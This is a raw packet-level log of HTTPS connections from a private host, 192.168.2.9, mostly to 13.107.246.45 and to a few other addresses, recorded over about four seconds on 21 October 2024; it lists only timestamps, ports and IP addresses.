Oct 21, 2024 13:17:13.472493887 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.162650108 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.167099953 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.169970989 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.178710938 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.178725958 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.179620028 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.179629087 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.179881096 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.179909945 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.180718899 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.180725098 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.182939053 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.182946920 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.183327913 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.183331966 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.187685013 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.188632011 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.188652039 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.189709902 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.189723015 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.205020905 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.205430984 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.205466032 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.205849886 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.205856085 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.305876970 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.305973053 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.306034088 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.306178093 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.306191921 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.306210041 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.306216002 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.308813095 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.308867931 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.309010983 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.309182882 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.309199095 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.309322119 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.309374094 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.309426069 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.309572935 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.309587955 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.309598923 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.309603930 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.311559916 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.311595917 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.311805010 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.311954975 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.311974049 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.316150904 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.316227913 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.316303968 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.316395044 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.316406012 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.316414118 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.316417933 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.318315029 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.318339109 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.318438053 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.318558931 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.318571091 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.322839022 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.322895050 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.323016882 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.323080063 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.323080063 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.323096037 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.323107958 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.325017929 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.325047016 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.325265884 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.325334072 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.325350046 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.469703913 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.469783068 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.469899893 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.482707977 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.482707977 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.482726097 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.482738972 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.485905886 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.485941887 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:14.486162901 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.486293077 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:14.486300945 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.042490959 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.043051958 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.043067932 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.043770075 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.043778896 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.053401947 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.053723097 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.054122925 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.054136038 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.054753065 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.054761887 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.061708927 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.062182903 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.062202930 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.062730074 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.062736988 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.063291073 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.063303947 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.063755989 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.063760996 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.183681011 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.183760881 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.183828115 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.189481020 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.189627886 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.189739943 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.192461014 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.192939997 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.193120956 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.194400072 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.194457054 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.194530010 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.213972092 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.229542971 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.229573965 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.229593039 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.229599953 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.229715109 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.229731083 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.230211973 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.230218887 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.230359077 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.230359077 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.230387926 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.230401039 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.231236935 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.231236935 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.231264114 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.231276035 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.231342077 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.231342077 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.231359959 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.231368065 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.236501932 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.236527920 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.236592054 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.238311052 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.238321066 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.238591909 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.239397049 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.239412069 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.246014118 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.246048927 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.246104002 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.246176004 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.246186972 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.246272087 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.246280909 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.246990919 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.247004032 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.247052908 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.247351885 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.247364998 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.354837894 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.354939938 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.355000019 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.355144024 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.355166912 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.355178118 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.355184078 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.357873917 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.357896090 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.357963085 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.358108044 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.358119965 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.733580112 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:15.733619928 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:15.733697891 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:15.888227940 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:15.888252974 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:15.983294964 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.983299017 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.983767986 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.983789921 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.984204054 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.984220982 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.984237909 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.984244108 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.984647036 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.984654903 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.987703085 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.988014936 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.988034010 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.988399982 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.988404989 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.989655972 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.989895105 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.989911079 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:15.990246058 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:15.990251064 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.113269091 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.113327026 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.113733053 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.113775015 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.113790989 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.113806009 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.113862991 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.113874912 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.113884926 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.113889933 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.114326000 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.114331007 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.116276026 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 21, 2024 13:17:16.116542101 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.116612911 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.116660118 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.116795063 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.116822958 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.116913080 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.117171049 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.117189884 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.117208958 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.117213964 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.118102074 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.118113041 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.119431019 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.119477987 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.119561911 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.119738102 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.119755030 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.120649099 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.120872974 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.120933056 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.120950937 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.120961905 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.120986938 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.120994091 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.121248007 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.121392012 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.121442080 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.121802092 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.121802092 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.121812105 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.121815920 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.123939991 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.123965025 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.124190092 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.124190092 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.124219894 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.125013113 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.125060081 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.125118971 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.125215054 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.125226021 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.245752096 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.246076107 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.246129990 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.246162891 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.246175051 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.246181965 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.246186972 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.248883963 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.248920918 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.248982906 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.249488115 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.249499083 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.845546007 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.849678040 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.850677013 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.863032103 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.879622936 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.879662037 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.880105972 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.880134106 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.880528927 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.880533934 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.880556107 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.880565882 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.880944967 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.880961895 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.894622087 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.894634962 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.928819895 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.936355114 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.936368942 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:16.937226057 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:16.937232971 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.005486965 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.005548000 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.005595922 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.006966114 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.010512114 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.010572910 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.010668993 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.020889997 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.020951986 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.020998955 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.053749084 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.064115047 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:17.064194918 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:17.098730087 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.099926949 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.100023031 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.144716024 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.144747019 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.144766092 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.144773006 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.155390024 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.155390024 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.155407906 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.155417919 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.156682014 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.156702042 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.157305956 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.157313108 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.157638073 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.157664061 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.157757998 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.157764912 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.159037113 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.159038067 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.159054041 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.159068108 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.163902998 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:17.163922071 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:17.164266109 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:17.210007906 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:17.286748886 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.286823034 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.286889076 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.319375992 CEST	49673	443	192.168.2.9	204.79.197.203
Oct 21, 2024 13:17:17.321326971 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.321362019 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.321374893 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.321382046 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:17.326324940 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:17.326374054 CEST	443	49738	13.107.246.45	192.168.2.9
